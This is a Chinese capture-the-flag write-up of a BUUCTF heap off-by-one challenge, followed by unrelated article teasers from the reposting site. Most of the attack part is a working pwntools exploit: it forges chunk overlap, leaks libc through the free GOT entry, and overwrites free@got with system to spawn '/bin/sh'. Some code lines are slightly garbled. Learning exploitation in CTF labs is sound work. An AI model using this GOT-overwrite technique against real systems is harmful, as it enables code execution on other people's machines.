BUUCTF[堆][of_by_one]

堆中of_by_one

介绍:

  1. 严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节
  2. 溢出字节为可控制任意字节 :通过修改大小(size字段值)造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。

例题:

题目:BUUCTF在线评测 (buuoj.cn)

  1. 先看一下create函数创建出来的heap结构:

    image-20240709153741797

  2. delete函数中将heap指针清0了,所以不能利用UAF:

    image-20240709154254757
  3. 但是在edit函数中,存在of_by_one漏洞,会多接受一个输入,可以利用着来覆盖下一个chunk的size大小,从而实现chunk的覆盖:

    image-20240709154340482

利用:

  1. 首先我们申请的长度要恰好到下一个chunk的size字段,所以必须将下一个chunk的prev_size字段沾满,不能留空隙,所以申请的大小必须为0x10的整数倍+8

    image-20240709154846223

    这种情况才能占满(将下一个chunk的prev_size字段占满,才能顺利覆盖到后面的size字段):

    image-20240709155150227

  2. 先申请两个大小为0x18的heap:

    add(24,b'a')    #0
    add(24,b'b')    #1
    
  3. 再编辑chunk0,利用of_by_one漏洞,覆盖掉chunk1的size字段,大小最少要为0x:

    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    
  4. 再释放掉chunk1,此时就能得到一个0x40和一个0x10的fastbin:

    image-20240709155927573

  5. 此时再申请一个大小为0x30的chunk2,就会将fastbins[0x40]分配给我们(但是实际的大小只有0x18,但是写入的大小就是0x30了),可以导致chunk之间的覆盖(变向堆溢出)。但是如何填充数据泄漏libc地址呢?,需要使用到show函数,并且利用前面造成的堆溢出将content地址改为函数的got表地址(这里以free函数为例):

    image-20240709160525868

    add(0x30,b"A"*16 + p64(0)*+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2
    

    image-20240709161225369

    调用show函数输出chunk2就能泄漏libc地址,再计算活得system的地址:

    printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))

    image-20240709161346767

  6. 最后利用edit(2),将free函数的got表中的数据修改为system的地址,即可完成对free函数的挟持,前面再第一次溢出在content处时填入的"/bin/sh"其地址就会作为free函数的参数(system(“/bin/sh”)):

    image-20240709162238290

    edit(1,p64(sys_addr))
    

    image-20240709161912317

  7. 最后free(0)即可拿到flag。EXP:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')# p = remote("node5.buuoj.cn",25567)
    p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    def add(size,content):sla(b'Your choice :','1')sla(':',str(size))sla(':',content)def edit(idx, content):sla(':','2')sla('Index :',str(idx))# sla(':',str(len(content)))sa(b':',content)def printf(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())def free(idx):sla(':','4')sla(':',str(idx))add(24,b'a')    #0
    add(24,b'b')    #1
    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    free(1)
    add(0x30,b"A"*8 + p64(0)*2+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))edit(1,p64(sys_addr))
    free(0)p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/42537.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

token无感刷新方法

1.这里推荐去看这个老师的视频,我的方案都是根据他的视频来的视频地址 2.这边使用的工具是axios import axios from axios const service axios.create({baseURL: ,headers: {Authorization: token 你自己的token,},timeout: 1000 * 60, })// 拦截响应 service.interceptors…

Spring AOP源码篇四之 数据库事务

了解了Spring AOP执行过程&#xff0c;再看Spring事务源码其实非常简单。 首先从简单使用开始, 演示Spring事务使用过程 Xml配置&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第一篇 嵌入式Linux入门篇-第十六章 Linux 第一个程序 HelloWorld

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

S271系列RTU在旅游景区人流监控中的应用案例

S271系列RTU在旅游景区人流监控中的应用案例 随着全球旅游业的迅猛发展&#xff0c;旅游景区的管理者越来越关注如何利用先进的技术手段提升游客体验、优化管理效率以及确保安全。S271系列RTU作为一款先进的无线工业物联网设备&#xff0c;在旅游景区的人流监控中展现出了其独…

数据结构:顺序表+链表

数据结构&#xff1a;顺序表链表 一。顺序表&#xff1a; 首先在了解顺序表和链表之前&#xff0c;先了解一下线性表&#xff0c;**线性表&#xff08;linear list&#xff09;**是n个具有相同特征元素的有限序列 &#xff0c;在逻辑上是线性结构&#xff0c;也就是一条连续的…

自动化升级:Conda包依赖的智能更新策略

自动化升级&#xff1a;Conda包依赖的智能更新策略 引言 在科学研究和软件开发中&#xff0c;依赖管理是确保项目顺利进行的关键环节。Conda作为流行的包管理器&#xff0c;提供了强大的依赖更新功能&#xff0c;帮助用户自动化和简化依赖项的更新过程。本文将深入探讨如何在…

WPF依赖附加属性

依赖附加属性的定义 基本过程&#xff1a;声明、注册、包装 依赖附加属性必须在依赖对象&#xff0c;附加属性不一定&#xff0c;关注的是被附加的对象是否是依赖对象 快捷方式&#xff1a;propa tab 关键字&#xff1a;RegisterAttached // 方法封装 public static int …

Unity3d C#实现基于UGUI ScrollRect的轮播图效果功能(含源码)

前言 轮播功能是一种常见的页面组件&#xff0c;用于在页面中显示多张图片/素材并自动或手动进行切换&#xff0c;以提高页面的美观度和用户体验。主要的功能是&#xff1a;自动/手动切换;平滑的切换效果;导航指示器等。可惜Unity的UGUI系统里没有现成的实现该功能&#xff0c…

第五次作业(多表联合查询)

新增员工表emp和部门表dept create table dept (dept1 int ,dept_name varchar(11)) charsetutf8; create table emp (sid int ,name varchar(11),age int,worktime_start date,incoming int,dept2 int) charsetutf8; insert into dept values (101,财务), (102,销售…

Shell学习——Shell echo命令

文章目录 echo命令 echo命令 1.显示普通字符串: echo "It is a test"这里的双引号完全可以省略&#xff0c;以下命令与上面实例效果一致&#xff1a; echo It is a test2.显示转义字符 echo "\"It is a test\""结果将是: "It is a tes…

掌握MOJO命令行:参数解析的艺术

在软件开发中&#xff0c;命令行接口&#xff08;CLI&#xff09;是一种与程序交互的强大方式&#xff0c;它允许用户通过终端输入指令和参数来控制程序的行为。对于MOJO语言&#xff0c;即使它是一个假想的编程语言&#xff0c;我们也可以设想它具备解析命令行参数的能力。本文…

初识C++【命名空间】【输入输出】【缺省参数】【函数重载】

前言 C是一种通用的编程语言&#xff0c;被广泛用于开发各种应用程序&#xff0c;包括系统软件、游戏、手机应用和高性能计算等。它是C语言的扩展&#xff0c;添加了许多新特性和功能&#xff0c;并支持面向对象编程。C可以在不同的平台上编译和运行&#xff0c;具有高效性、可…

开放式耳机哪个品牌比较好?2024最值得推荐的火爆机型!!

在这个快节奏的时代&#xff0c;我们都在寻找那些既能让我们享受音乐&#xff0c;又能保持对外界感知的音频设备。开放式耳机以其独特的设计&#xff0c;满足了这一需求&#xff0c;它们让你在享受音乐的同时&#xff0c;还能听到周围环境的声音&#xff0c;无论是安全出行还是…

华为、H3C、锐捷、思科四大设备厂商交换机配置命令总结合辑

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 下午好&#xff0c;我的网工朋友。 一直以来&#xff0c;对于华为、H3C、锐捷、思科交换机的命令配置&#xff0c;不断的有朋友留言&#xff0c;四…

OpenSNN推文:盛夏智慧之光:七月高校新闻聚焦

随着夏日的炎炎热浪逐渐升温&#xff0c;七月的校园生活也如火如荼地展开。在这个充满活力的季节里&#xff0c;各大高校不仅迎来了学术交流的高峰&#xff0c;也在科技创新、国际合作等方面取得了显著成就。以下是本月内几所知名高校的重要新闻动态&#xff0c;它们不仅展现了…

数据库 视图

-- 删除旧的视图&#xff08;如果存在&#xff09; DROP VIEW IF EXISTS view_employees_active; -- 创建新的视图 CREATE VIEW view_employees_active AS SELECT id, name FROM employees WHERE status active; 注意事项 如果视图不满足更新条件&#xff08;如包含JOIN、…

谱瑞科技高速传输接口芯片选型应用

谱瑞科技股份有限公司为一专供多种普及显示器以及个人计算机、消费性电子产品与显示面板所使用之高速讯号传输接口标准之混和信号 IC 芯片之领导供货商。谱瑞公司成立于 2005 年为一无自有晶圆厂之半导体公司&#xff0c;并于 2011 年股票在台湾柜台买卖中心正式挂牌交易(股票代…

深入浅出:Scikit-Learn基础教程

引言 Scikit-Learn&#xff08;简称sklearn&#xff09;是Python中一个强大的机器学习库&#xff0c;提供了丰富的工具和模块&#xff0c;帮助我们轻松实现数据预处理、模型训练、评估和预测。本文将通过一个简单的教程&#xff0c;带您快速入门Scikit-Learn&#xff0c;掌握其…

Greenplum(三)【分布式事务和两阶段提交协议】

1、事务实现原理和 WAL&#xff08;单机&#xff09; 属性含义数据库系统实现Atomic&#xff08;原子性&#xff09;事务中的操作要么全部正确执行&#xff0c;要么完全不执行&#xff08;要么成功、要么失败&#xff09;Write Ahead Logging 预写日志&#xff0c;分布式事务&…

C语言希尔排序详解与实例

希尔排序&#xff08;Shell Sort&#xff09;&#xff0c;是由Donald Shell在1959年提出的一种排序算法。它是插入排序的一种高效改进版&#xff0c;通过引入“增量”概念&#xff0c;将原本的线性查找转换为分段查找&#xff0c;从而显著提升了排序效率。本文将深入探讨希尔排…